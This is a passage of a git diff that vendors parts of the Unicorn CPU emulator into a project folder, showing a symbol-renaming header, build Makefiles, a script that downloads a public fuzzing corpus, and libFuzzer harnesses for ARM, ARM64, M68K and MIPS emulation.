tcg_gen_xori_i32_x86_64 +#define tcg_get_arg_str_i32 tcg_get_arg_str_i32_x86_64 +#define tcg_get_arg_str_i64 tcg_get_arg_str_i64_x86_64 +#define tcg_get_arg_str_idx tcg_get_arg_str_idx_x86_64 +#define tcg_global_mem_new_i32 tcg_global_mem_new_i32_x86_64 +#define tcg_global_mem_new_i64 tcg_global_mem_new_i64_x86_64 +#define tcg_global_mem_new_internal tcg_global_mem_new_internal_x86_64 +#define tcg_global_reg_new_i32 tcg_global_reg_new_i32_x86_64 +#define tcg_global_reg_new_i64 tcg_global_reg_new_i64_x86_64 +#define tcg_global_reg_new_internal tcg_global_reg_new_internal_x86_64 +#define tcg_handle_interrupt tcg_handle_interrupt_x86_64 +#define tcg_init tcg_init_x86_64 +#define tcg_invert_cond tcg_invert_cond_x86_64 +#define tcg_la_bb_end tcg_la_bb_end_x86_64 +#define tcg_la_br_end tcg_la_br_end_x86_64 +#define tcg_la_func_end tcg_la_func_end_x86_64 +#define tcg_liveness_analysis tcg_liveness_analysis_x86_64 +#define tcg_malloc tcg_malloc_x86_64 +#define tcg_malloc_internal tcg_malloc_internal_x86_64 +#define tcg_op_defs_org tcg_op_defs_org_x86_64 +#define tcg_opt_gen_mov tcg_opt_gen_mov_x86_64 +#define tcg_opt_gen_movi tcg_opt_gen_movi_x86_64 +#define tcg_optimize tcg_optimize_x86_64 +#define tcg_out16 tcg_out16_x86_64 +#define tcg_out32 tcg_out32_x86_64 +#define tcg_out64 tcg_out64_x86_64 +#define tcg_out8 tcg_out8_x86_64 +#define tcg_out_addi tcg_out_addi_x86_64 +#define tcg_out_branch tcg_out_branch_x86_64 +#define tcg_out_brcond32 tcg_out_brcond32_x86_64 +#define tcg_out_brcond64 tcg_out_brcond64_x86_64 +#define tcg_out_bswap32 tcg_out_bswap32_x86_64 +#define tcg_out_bswap64 tcg_out_bswap64_x86_64 +#define tcg_out_call tcg_out_call_x86_64 +#define tcg_out_cmp tcg_out_cmp_x86_64 +#define tcg_out_ext16s tcg_out_ext16s_x86_64 +#define tcg_out_ext16u tcg_out_ext16u_x86_64 +#define tcg_out_ext32s tcg_out_ext32s_x86_64 +#define tcg_out_ext32u tcg_out_ext32u_x86_64 +#define tcg_out_ext8s tcg_out_ext8s_x86_64 +#define tcg_out_ext8u tcg_out_ext8u_x86_64 +#define tcg_out_jmp tcg_out_jmp_x86_64 +#define tcg_out_jxx tcg_out_jxx_x86_64 +#define tcg_out_label tcg_out_label_x86_64 +#define tcg_out_ld tcg_out_ld_x86_64 +#define tcg_out_modrm tcg_out_modrm_x86_64 +#define tcg_out_modrm_offset tcg_out_modrm_offset_x86_64 +#define tcg_out_modrm_sib_offset tcg_out_modrm_sib_offset_x86_64 +#define tcg_out_mov tcg_out_mov_x86_64 +#define tcg_out_movcond32 tcg_out_movcond32_x86_64 +#define tcg_out_movcond64 tcg_out_movcond64_x86_64 +#define tcg_out_movi tcg_out_movi_x86_64 +#define tcg_out_op tcg_out_op_x86_64 +#define tcg_out_pop tcg_out_pop_x86_64 +#define tcg_out_push tcg_out_push_x86_64 +#define tcg_out_qemu_ld tcg_out_qemu_ld_x86_64 +#define tcg_out_qemu_ld_direct tcg_out_qemu_ld_direct_x86_64 +#define tcg_out_qemu_ld_slow_path tcg_out_qemu_ld_slow_path_x86_64 +#define tcg_out_qemu_st tcg_out_qemu_st_x86_64 +#define tcg_out_qemu_st_direct tcg_out_qemu_st_direct_x86_64 +#define tcg_out_qemu_st_slow_path tcg_out_qemu_st_slow_path_x86_64 +#define tcg_out_reloc tcg_out_reloc_x86_64 +#define tcg_out_rolw_8 tcg_out_rolw_8_x86_64 +#define tcg_out_setcond32 tcg_out_setcond32_x86_64 +#define tcg_out_setcond64 tcg_out_setcond64_x86_64 +#define tcg_out_shifti tcg_out_shifti_x86_64 +#define tcg_out_st tcg_out_st_x86_64 +#define tcg_out_tb_finalize tcg_out_tb_finalize_x86_64 +#define tcg_out_tb_init tcg_out_tb_init_x86_64 +#define tcg_out_tlb_load tcg_out_tlb_load_x86_64 +#define tcg_out_vex_modrm tcg_out_vex_modrm_x86_64 +#define tcg_patch32 tcg_patch32_x86_64 +#define tcg_patch8 tcg_patch8_x86_64 +#define tcg_pcrel_diff tcg_pcrel_diff_x86_64 +#define tcg_pool_reset tcg_pool_reset_x86_64 +#define tcg_prologue_init tcg_prologue_init_x86_64 +#define tcg_ptr_byte_diff tcg_ptr_byte_diff_x86_64 +#define tcg_reg_alloc tcg_reg_alloc_x86_64 +#define tcg_reg_alloc_bb_end tcg_reg_alloc_bb_end_x86_64 +#define tcg_reg_alloc_call tcg_reg_alloc_call_x86_64 +#define tcg_reg_alloc_mov tcg_reg_alloc_mov_x86_64 +#define tcg_reg_alloc_movi tcg_reg_alloc_movi_x86_64 +#define tcg_reg_alloc_op tcg_reg_alloc_op_x86_64 +#define tcg_reg_alloc_start tcg_reg_alloc_start_x86_64 +#define tcg_reg_free tcg_reg_free_x86_64 +#define tcg_reg_sync tcg_reg_sync_x86_64 +#define tcg_set_frame tcg_set_frame_x86_64 +#define tcg_set_nop tcg_set_nop_x86_64 +#define tcg_swap_cond tcg_swap_cond_x86_64 +#define tcg_target_callee_save_regs tcg_target_callee_save_regs_x86_64 +#define tcg_target_call_iarg_regs tcg_target_call_iarg_regs_x86_64 +#define tcg_target_call_oarg_regs tcg_target_call_oarg_regs_x86_64 +#define tcg_target_const_match tcg_target_const_match_x86_64 +#define tcg_target_init tcg_target_init_x86_64 +#define tcg_target_qemu_prologue tcg_target_qemu_prologue_x86_64 +#define tcg_target_reg_alloc_order tcg_target_reg_alloc_order_x86_64 +#define tcg_temp_alloc tcg_temp_alloc_x86_64 +#define tcg_temp_free_i32 tcg_temp_free_i32_x86_64 +#define tcg_temp_free_i64 tcg_temp_free_i64_x86_64 +#define tcg_temp_free_internal tcg_temp_free_internal_x86_64 +#define tcg_temp_local_new_i32 tcg_temp_local_new_i32_x86_64 +#define tcg_temp_local_new_i64 tcg_temp_local_new_i64_x86_64 +#define tcg_temp_new_i32 tcg_temp_new_i32_x86_64 +#define tcg_temp_new_i64 tcg_temp_new_i64_x86_64 +#define tcg_temp_new_internal tcg_temp_new_internal_x86_64 +#define tcg_temp_new_internal_i32 tcg_temp_new_internal_i32_x86_64 +#define tcg_temp_new_internal_i64 tcg_temp_new_internal_i64_x86_64 +#define tdb_hash tdb_hash_x86_64 +#define teecr_write teecr_write_x86_64 +#define teehbr_access teehbr_access_x86_64 +#define temp_allocate_frame temp_allocate_frame_x86_64 +#define temp_dead temp_dead_x86_64 +#define temps_are_copies temps_are_copies_x86_64 +#define temp_save temp_save_x86_64 +#define temp_sync temp_sync_x86_64 +#define tgen_arithi tgen_arithi_x86_64 +#define tgen_arithr tgen_arithr_x86_64 +#define thumb2_logic_op thumb2_logic_op_x86_64 +#define ti925t_initfn ti925t_initfn_x86_64 +#define tlb_add_large_page tlb_add_large_page_x86_64 +#define tlb_flush_entry tlb_flush_entry_x86_64 +#define tlbi_aa64_asid_is_write tlbi_aa64_asid_is_write_x86_64 +#define tlbi_aa64_asid_write tlbi_aa64_asid_write_x86_64 +#define tlbi_aa64_vaa_is_write tlbi_aa64_vaa_is_write_x86_64 +#define tlbi_aa64_vaa_write tlbi_aa64_vaa_write_x86_64 +#define tlbi_aa64_va_is_write tlbi_aa64_va_is_write_x86_64 +#define tlbi_aa64_va_write tlbi_aa64_va_write_x86_64 +#define tlbiall_is_write tlbiall_is_write_x86_64 +#define tlbiall_write tlbiall_write_x86_64 +#define tlbiasid_is_write tlbiasid_is_write_x86_64 +#define tlbiasid_write tlbiasid_write_x86_64 +#define tlbimvaa_is_write tlbimvaa_is_write_x86_64 +#define tlbimvaa_write tlbimvaa_write_x86_64 +#define tlbimva_is_write tlbimva_is_write_x86_64 +#define tlbimva_write tlbimva_write_x86_64 +#define tlb_is_dirty_ram tlb_is_dirty_ram_x86_64 +#define tlb_protect_code tlb_protect_code_x86_64 +#define tlb_reset_dirty_range tlb_reset_dirty_range_x86_64 +#define tlb_reset_dirty_range_all tlb_reset_dirty_range_all_x86_64 +#define tlb_set_dirty tlb_set_dirty_x86_64 +#define tlb_set_dirty1 tlb_set_dirty1_x86_64 +#define tlb_unprotect_code_phys tlb_unprotect_code_phys_x86_64 +#define tlb_vaddr_to_host tlb_vaddr_to_host_x86_64 +#define token_get_type token_get_type_x86_64 +#define token_get_value token_get_value_x86_64 +#define token_is_escape token_is_escape_x86_64 +#define token_is_keyword token_is_keyword_x86_64 +#define token_is_operator token_is_operator_x86_64 +#define tokens_append_from_iter tokens_append_from_iter_x86_64 +#define to_qiv to_qiv_x86_64 +#define to_qov to_qov_x86_64 +#define tosa_init tosa_init_x86_64 +#define tosa_machine_init tosa_machine_init_x86_64 +#define tswap32 tswap32_x86_64 +#define tswap64 tswap64_x86_64 +#define type_class_get_size type_class_get_size_x86_64 +#define type_get_by_name type_get_by_name_x86_64 +#define type_get_parent type_get_parent_x86_64 +#define type_has_parent type_has_parent_x86_64 +#define type_initialize type_initialize_x86_64 +#define type_initialize_interface type_initialize_interface_x86_64 +#define type_is_ancestor type_is_ancestor_x86_64 +#define type_new type_new_x86_64 +#define type_object_get_size type_object_get_size_x86_64 +#define type_register_internal type_register_internal_x86_64 +#define type_table_add type_table_add_x86_64 +#define type_table_get type_table_get_x86_64 +#define type_table_lookup type_table_lookup_x86_64 +#define uint16_to_float32 uint16_to_float32_x86_64 +#define uint16_to_float64 uint16_to_float64_x86_64 +#define uint32_to_float32 uint32_to_float32_x86_64 +#define uint32_to_float64 uint32_to_float64_x86_64 +#define uint64_to_float128 uint64_to_float128_x86_64 +#define uint64_to_float32 uint64_to_float32_x86_64 +#define uint64_to_float64 uint64_to_float64_x86_64 +#define unassigned_io_ops unassigned_io_ops_x86_64 +#define unassigned_io_read unassigned_io_read_x86_64 +#define unassigned_io_write unassigned_io_write_x86_64 +#define unassigned_mem_accepts unassigned_mem_accepts_x86_64 +#define unassigned_mem_ops unassigned_mem_ops_x86_64 +#define unassigned_mem_read unassigned_mem_read_x86_64 +#define unassigned_mem_write unassigned_mem_write_x86_64 +#define update_spsel update_spsel_x86_64 +#define v6_cp_reginfo v6_cp_reginfo_x86_64 +#define v6k_cp_reginfo v6k_cp_reginfo_x86_64 +#define v7_cp_reginfo v7_cp_reginfo_x86_64 +#define v7mp_cp_reginfo v7mp_cp_reginfo_x86_64 +#define v7m_pop v7m_pop_x86_64 +#define v7m_push v7m_push_x86_64 +#define v8_cp_reginfo v8_cp_reginfo_x86_64 +#define v8_el2_cp_reginfo v8_el2_cp_reginfo_x86_64 +#define v8_el3_cp_reginfo v8_el3_cp_reginfo_x86_64 +#define v8_el3_no_el2_cp_reginfo v8_el3_no_el2_cp_reginfo_x86_64 +#define vapa_cp_reginfo vapa_cp_reginfo_x86_64 +#define vbar_write vbar_write_x86_64 +#define vfp_exceptbits_from_host vfp_exceptbits_from_host_x86_64 +#define vfp_exceptbits_to_host vfp_exceptbits_to_host_x86_64 +#define vfp_get_fpcr vfp_get_fpcr_x86_64 +#define vfp_get_fpscr vfp_get_fpscr_x86_64 +#define vfp_get_fpsr vfp_get_fpsr_x86_64 +#define vfp_reg_offset vfp_reg_offset_x86_64 +#define vfp_set_fpcr vfp_set_fpcr_x86_64 +#define vfp_set_fpscr vfp_set_fpscr_x86_64 +#define vfp_set_fpsr vfp_set_fpsr_x86_64 +#define visit_end_implicit_struct visit_end_implicit_struct_x86_64 +#define visit_end_list visit_end_list_x86_64 +#define visit_end_struct visit_end_struct_x86_64 +#define visit_end_union visit_end_union_x86_64 +#define visit_get_next_type visit_get_next_type_x86_64 +#define visit_next_list visit_next_list_x86_64 +#define visit_optional visit_optional_x86_64 +#define visit_start_implicit_struct visit_start_implicit_struct_x86_64 +#define visit_start_list visit_start_list_x86_64 +#define visit_start_struct visit_start_struct_x86_64 +#define visit_start_union visit_start_union_x86_64 +#define vmsa_cp_reginfo vmsa_cp_reginfo_x86_64 +#define vmsa_tcr_el1_write vmsa_tcr_el1_write_x86_64 +#define vmsa_ttbcr_raw_write vmsa_ttbcr_raw_write_x86_64 +#define vmsa_ttbcr_reset vmsa_ttbcr_reset_x86_64 +#define vmsa_ttbcr_write vmsa_ttbcr_write_x86_64 +#define vmsa_ttbr_write vmsa_ttbr_write_x86_64 +#define write_cpustate_to_list write_cpustate_to_list_x86_64 +#define write_list_to_cpustate write_list_to_cpustate_x86_64 +#define write_raw_cp_reg write_raw_cp_reg_x86_64 +#define X86CPURegister32_lookup X86CPURegister32_lookup_x86_64 +#define x86_op_defs x86_op_defs_x86_64 +#define xpsr_read xpsr_read_x86_64 +#define xpsr_write xpsr_write_x86_64 +#define xscale_cpar_write xscale_cpar_write_x86_64 +#define xscale_cp_reginfo xscale_cp_reginfo_x86_64 +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/samples/.gitignore b/ai_anti_malware/unicorn/unicorn-master/samples/.gitignore new file mode 100644 index 0000000..f53a0ab --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/samples/.gitignore @@ -0,0 +1,5 @@ +!*.c +sample_* +shellcode* +mem_apis* + diff --git a/ai_anti_malware/unicorn/unicorn-master/samples/Makefile b/ai_anti_malware/unicorn/unicorn-master/samples/Makefile new file mode 100644 index 0000000..5b4b28d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/samples/Makefile @@ -0,0 +1,155 @@ +# Unicorn Engine +# By Nguyen Anh Quynh , 2015 + +include ../config.mk + +UNAME_S := $(shell uname -s) + +LIBDIR = .. +BIN_EXT = +AR_EXT = a + +# Verbose output? +V ?= 0 + +CFLAGS += -Wall -Werror -I../include + +LDFLAGS += -L$(LIBDIR) -lunicorn -lpthread -lm +ifeq ($(UNAME_S), Linux) +LDFLAGS += -lrt +endif + +LDLIBS += -lpthread -lunicorn -lm + +ifneq ($(CROSS),) +CC = $(CROSS)gcc +endif + +ifeq ($(UNICORN_ASAN),yes) +CC = clang +CXX = clang++ +AR = llvm-ar +CFLAGS += -fsanitize=address -fno-omit-frame-pointer +LDFLAGS := -fsanitize=address ${LDFLAGS} +endif + +# Cygwin? +ifneq ($(filter CYGWIN%,$(UNAME_S)),) +CFLAGS := $(CFLAGS:-fPIC=) +LDLIBS += -lssp +BIN_EXT = .exe +AR_EXT = a +# mingw? +else ifneq ($(filter MINGW%,$(UNAME_S)),) +CFLAGS := $(CFLAGS:-fPIC=) +BIN_EXT = .exe +AR_EXT = a +endif + +ifeq ($(UNICORN_STATIC),yes) +ifneq ($(filter MINGW%,$(UNAME_S)),) +ARCHIVE = $(LIBDIR)/unicorn.$(AR_EXT) +else ifneq ($(filter CYGWIN%,$(UNAME_S)),) +ARCHIVE = $(LIBDIR)/libunicorn.$(AR_EXT) +else +ARCHIVE = $(LIBDIR)/libunicorn.$(AR_EXT) +endif +endif + +.PHONY: all clean + +UNICORN_ARCHS := $(shell if [ -e ../config.log ]; then cat ../config.log;\ + else printf "$(UNICORN_ARCHS)"; fi) + +SOURCES = +ifneq (,$(findstring arm,$(UNICORN_ARCHS))) +SOURCES += sample_arm.c +SOURCES += sample_armeb.c +endif +ifneq (,$(findstring aarch64,$(UNICORN_ARCHS))) +SOURCES += sample_arm64.c +SOURCES += sample_arm64eb.c +endif +ifneq (,$(findstring mips,$(UNICORN_ARCHS))) +SOURCES += sample_mips.c +endif +#ifneq (,$(findstring ppc,$(UNICORN_ARCHS))) +#SOURCES += sample_ppc.c +#endif +ifneq (,$(findstring sparc,$(UNICORN_ARCHS))) +SOURCES += sample_sparc.c +endif +ifneq (,$(findstring x86,$(UNICORN_ARCHS))) +SOURCES += sample_x86.c +SOURCES += shellcode.c +SOURCES += mem_apis.c +SOURCES += sample_x86_32_gdt_and_seg_regs.c +SOURCES += sample_batch_reg.c +endif +ifneq (,$(findstring m68k,$(UNICORN_ARCHS))) +SOURCES += sample_m68k.c +endif + +BINS = $(SOURCES:.c=$(BIN_EXT)) +OBJS = $(SOURCES:.c=.o) + +all: $(BINS) + +$(BINS): $(OBJS) + +clean: + rm -rf *.o $(BINS) + +%$(BIN_EXT): %.o + @mkdir -p $(@D) +ifeq ($(V),0) +ifeq ($(UNICORN_SHARED),yes) + $(call log,LINK,$(notdir $@)) + @$(link-dynamic) +endif +ifeq ($(UNICORN_STATIC),yes) +ifneq ($(filter MINGW%,$(UNAME_S)),) + $(call log,LINK,$(notdir $(call staticname,$@))) + @$(link-static) +endif +endif +else +ifeq ($(UNICORN_SHARED),yes) + $(link-dynamic) +endif +ifeq ($(UNICORN_STATIC),yes) +ifneq ($(filter MINGW%,$(UNAME_S)),) + $(link-static) +endif +endif +endif + +%.o: %.c + @mkdir -p $(@D) +ifeq ($(V),0) + $(call log,CC,$(@:%=%)) + @$(compile) +else + $(compile) +endif + + +define link-dynamic + $(CC) $< ${CFLAGS} $(LDFLAGS) -o $@ +endef + + +define link-static + $(CC) $< $(ARCHIVE) ${CFLAGS} $(LDFLAGS) -o $(call staticname,$@) +endef + + +staticname = $(subst $(BIN_EXT),,$(1)).static$(BIN_EXT) + +define log + @printf " %-7s %s\n" "$(1)" "$(2)" +endef + +define compile + ${CC} ${CFLAGS} -c $< -o $@ +endef diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/Makefile b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/Makefile new file mode 100644 index 0000000..c0b6946 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/Makefile @@ -0,0 +1,23 @@ +CFLAGS += -L ../../ -I ../../include + +UNAME_S := $(shell uname -s) +LDFLAGS += -pthread +ifeq ($(UNAME_S), Linux) +LDFLAGS += -lrt +endif + +LDFLAGS += ../../libunicorn.a + + +ALL_TESTS_SOURCES = $(wildcard fuzz*.c) +ALL_TESTS = $(ALL_TESTS_SOURCES:%.c=%) + +.PHONY: all +all: ${ALL_TESTS} + +.PHONY: clean +clean: + rm -rf ${ALL_TESTS} + +fuzz%: fuzz%.c + $(CC) $(CFLAGS) $^ onedir.c $(LDFLAGS) -o $@ diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/dlcorpus.sh b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/dlcorpus.sh new file mode 100644 index 0000000..f159e80 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/dlcorpus.sh @@ -0,0 +1,11 @@ +#/bin/sh +#change to script directory +cd `dirname $0` +ls fuzz_emu*.c | sed 's/.c//' | while read target +do + #download public corpus + wget "https://storage.googleapis.com/unicorn-backup.clusterfuzz-external.appspot.com/corpus/libFuzzer/unicorn_$target/public.zip" + unzip -q public.zip -d corpus_$target + #run target on corpus + ./$target corpus_$target +done diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu.options b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu.options new file mode 100644 index 0000000..9fda93f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu.options @@ -0,0 +1,2 @@ +[libfuzzer] +max_len = 4096 diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_arm64_arm.c b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_arm64_arm.c new file mode 100644 index 0000000..9e694e8 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_arm64_arm.c @@ -0,0 +1,56 @@ +#include + + +// memory address where emulation starts +#define ADDRESS 0x1000000 + +uc_engine *uc; +int initialized = 0; +FILE * outfile = NULL; + + +int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { + uc_err err; + + if (initialized == 0) { + if (outfile == NULL) { + // we compute the output + outfile = fopen("/dev/null", "w"); + if (outfile == NULL) { + printf("failed opening /dev/null\n"); + abort(); + return 0; + } + } + + initialized = 1; + } + + // Not global as we must reset this structure + // Initialize emulator in supplied mode + err = uc_open(UC_ARCH_ARM64, UC_MODE_ARM, &uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_open() with error returned: %u\n", err); + abort(); + } + + // map 4MB memory for this emulation + uc_mem_map(uc, ADDRESS, 4 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + if (uc_mem_write(uc, ADDRESS, Data, Size)) { + printf("Failed to write emulation code to memory, quit!\n"); + abort(); + } + + // emulate code in infinite time & 4096 instructions + // avoid timeouts with infinite loops + err=uc_emu_start(uc, ADDRESS, ADDRESS + Size, 0, 0x1000); + if (err) { + fprintf(outfile, "Failed on uc_emu_start() with error returned %u: %s\n", err, uc_strerror(err)); + } + + uc_close(uc); + + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_arm64_armbe.c b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_arm64_armbe.c new file mode 100644 index 0000000..716bf86 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_arm64_armbe.c @@ -0,0 +1,56 @@ +#include + + +// memory address where emulation starts +#define ADDRESS 0x1000000 + +uc_engine *uc; +int initialized = 0; +FILE * outfile = NULL; + + +int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { + uc_err err; + + if (initialized == 0) { + if (outfile == NULL) { + // we compute the output + outfile = fopen("/dev/null", "w"); + if (outfile == NULL) { + printf("failed opening /dev/null\n"); + abort(); + return 0; + } + } + + initialized = 1; + } + + // Not global as we must reset this structure + // Initialize emulator in supplied mode + err = uc_open(UC_ARCH_ARM64, UC_MODE_ARM + UC_MODE_BIG_ENDIAN, &uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_open() with error returned: %u\n", err); + abort(); + } + + // map 4MB memory for this emulation + uc_mem_map(uc, ADDRESS, 4 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + if (uc_mem_write(uc, ADDRESS, Data, Size)) { + printf("Failed to write emulation code to memory, quit!\n"); + abort(); + } + + // emulate code in infinite time & 4096 instructions + // avoid timeouts with infinite loops + err=uc_emu_start(uc, ADDRESS, ADDRESS + Size, 0, 0x1000); + if (err) { + fprintf(outfile, "Failed on uc_emu_start() with error returned %u: %s\n", err, uc_strerror(err)); + } + + uc_close(uc); + + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_arm_arm.c b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_arm_arm.c new file mode 100644 index 0000000..ca39317 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_arm_arm.c @@ -0,0 +1,56 @@ +#include + + +// memory address where emulation starts +#define ADDRESS 0x1000000 + +uc_engine *uc; +int initialized = 0; +FILE * outfile = NULL; + + +int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { + uc_err err; + + if (initialized == 0) { + if (outfile == NULL) { + // we compute the output + outfile = fopen("/dev/null", "w"); + if (outfile == NULL) { + printf("failed opening /dev/null\n"); + abort(); + return 0; + } + } + + initialized = 1; + } + + // Not global as we must reset this structure + // Initialize emulator in supplied mode + err = uc_open(UC_ARCH_ARM, UC_MODE_ARM, &uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_open() with error returned: %u\n", err); + abort(); + } + + // map 4MB memory for this emulation + uc_mem_map(uc, ADDRESS, 4 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + if (uc_mem_write(uc, ADDRESS, Data, Size)) { + printf("Failed to write emulation code to memory, quit!\n"); + abort(); + } + + // emulate code in infinite time & 4096 instructions + // avoid timeouts with infinite loops + err=uc_emu_start(uc, ADDRESS, ADDRESS + Size, 0, 0x1000); + if (err) { + fprintf(outfile, "Failed on uc_emu_start() with error returned %u: %s\n", err, uc_strerror(err)); + } + + uc_close(uc); + + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_arm_armbe.c b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_arm_armbe.c new file mode 100644 index 0000000..aadd385 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_arm_armbe.c @@ -0,0 +1,56 @@ +#include + + +// memory address where emulation starts +#define ADDRESS 0x1000000 + +uc_engine *uc; +int initialized = 0; +FILE * outfile = NULL; + + +int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { + uc_err err; + + if (initialized == 0) { + if (outfile == NULL) { + // we compute the output + outfile = fopen("/dev/null", "w"); + if (outfile == NULL) { + printf("failed opening /dev/null\n"); + abort(); + return 0; + } + } + + initialized = 1; + } + + // Not global as we must reset this structure + // Initialize emulator in supplied mode + err = uc_open(UC_ARCH_ARM, UC_MODE_ARM + UC_MODE_BIG_ENDIAN, &uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_open() with error returned: %u\n", err); + abort(); + } + + // map 4MB memory for this emulation + uc_mem_map(uc, ADDRESS, 4 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + if (uc_mem_write(uc, ADDRESS, Data, Size)) { + printf("Failed to write emulation code to memory, quit!\n"); + abort(); + } + + // emulate code in infinite time & 4096 instructions + // avoid timeouts with infinite loops + err=uc_emu_start(uc, ADDRESS, ADDRESS + Size, 0, 0x1000); + if (err) { + fprintf(outfile, "Failed on uc_emu_start() with error returned %u: %s\n", err, uc_strerror(err)); + } + + uc_close(uc); + + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_arm_thumb.c b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_arm_thumb.c new file mode 100644 index 0000000..d50dd6a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_arm_thumb.c @@ -0,0 +1,56 @@ +#include + + +// memory address where emulation starts +#define ADDRESS 0x1000000 + +uc_engine *uc; +int initialized = 0; +FILE * outfile = NULL; + + +int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { + uc_err err; + + if (initialized == 0) { + if (outfile == NULL) { + // we compute the output + outfile = fopen("/dev/null", "w"); + if (outfile == NULL) { + printf("failed opening /dev/null\n"); + abort(); + return 0; + } + } + + initialized = 1; + } + + // Not global as we must reset this structure + // Initialize emulator in supplied mode + err = uc_open(UC_ARCH_ARM, UC_MODE_THUMB, &uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_open() with error returned: %u\n", err); + abort(); + } + + // map 4MB memory for this emulation + uc_mem_map(uc, ADDRESS, 4 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + if (uc_mem_write(uc, ADDRESS, Data, Size)) { + printf("Failed to write emulation code to memory, quit!\n"); + abort(); + } + + // emulate code in infinite time & 4096 instructions + // avoid timeouts with infinite loops + err=uc_emu_start(uc, ADDRESS, ADDRESS + Size, 0, 0x1000); + if (err) { + fprintf(outfile, "Failed on uc_emu_start() with error returned %u: %s\n", err, uc_strerror(err)); + } + + uc_close(uc); + + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_m68k_be.c b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_m68k_be.c new file mode 100644 index 0000000..cd2bf59 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_m68k_be.c @@ -0,0 +1,56 @@ +#include + + +// memory address where emulation starts +#define ADDRESS 0x1000000 + +uc_engine *uc; +int initialized = 0; +FILE * outfile = NULL; + + +int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { + uc_err err; + + if (initialized == 0) { + if (outfile == NULL) { + // we compute the output + outfile = fopen("/dev/null", "w"); + if (outfile == NULL) { + printf("failed opening /dev/null\n"); + abort(); + return 0; + } + } + + initialized = 1; + } + + // Not global as we must reset this structure + // Initialize emulator in supplied mode + err = uc_open(UC_ARCH_M68K, UC_MODE_BIG_ENDIAN, &uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_open() with error returned: %u\n", err); + abort(); + } + + // map 4MB memory for this emulation + uc_mem_map(uc, ADDRESS, 4 * 1024 * 1024, UC_PROT_ALL); + + // write machine code to be emulated to memory + if (uc_mem_write(uc, ADDRESS, Data, Size)) { + printf("Failed to write emulation code to memory, quit!\n"); + abort(); + } + + // emulate code in infinite time & 4096 instructions + // avoid timeouts with infinite loops + err=uc_emu_start(uc, ADDRESS, ADDRESS + Size, 0, 0x1000); + if (err) { + fprintf(outfile, "Failed on uc_emu_start() with error returned %u: %s\n", err, uc_strerror(err)); + } + + uc_close(uc); + + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_mips_32be.c b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_mips_32be.c new file mode 100644 index 0000000..dbe3141 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/fuzz/fuzz_emu_mips_32be.c @@ -0,0 +1,56 @@ +#include + + +// memory address where emulation starts +#define ADDRESS 0x1000000 + +uc_engine *uc; +int initialized = 0; +FILE * outfile = NULL; + + +int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { + uc_err err; + + if (initialized == 0) { + if (outfile == NULL) { + // we compute the output + outfile = fopen("/dev/null", "w"); + if (outfile == NULL) { + printf("failed opening /dev/null\n"); + abort(); + return 0; + } + } + + initialized = 1; + } + + // Not global as we must reset this structure + // Initialize emulator in supplied mode + err = uc_open(UC_ARCH_MIPS, UC_MODE_MIPS32 + UC_MODE_BIG_ENDIAN, &uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_open() with error returned: %u\n", err); + abort(); 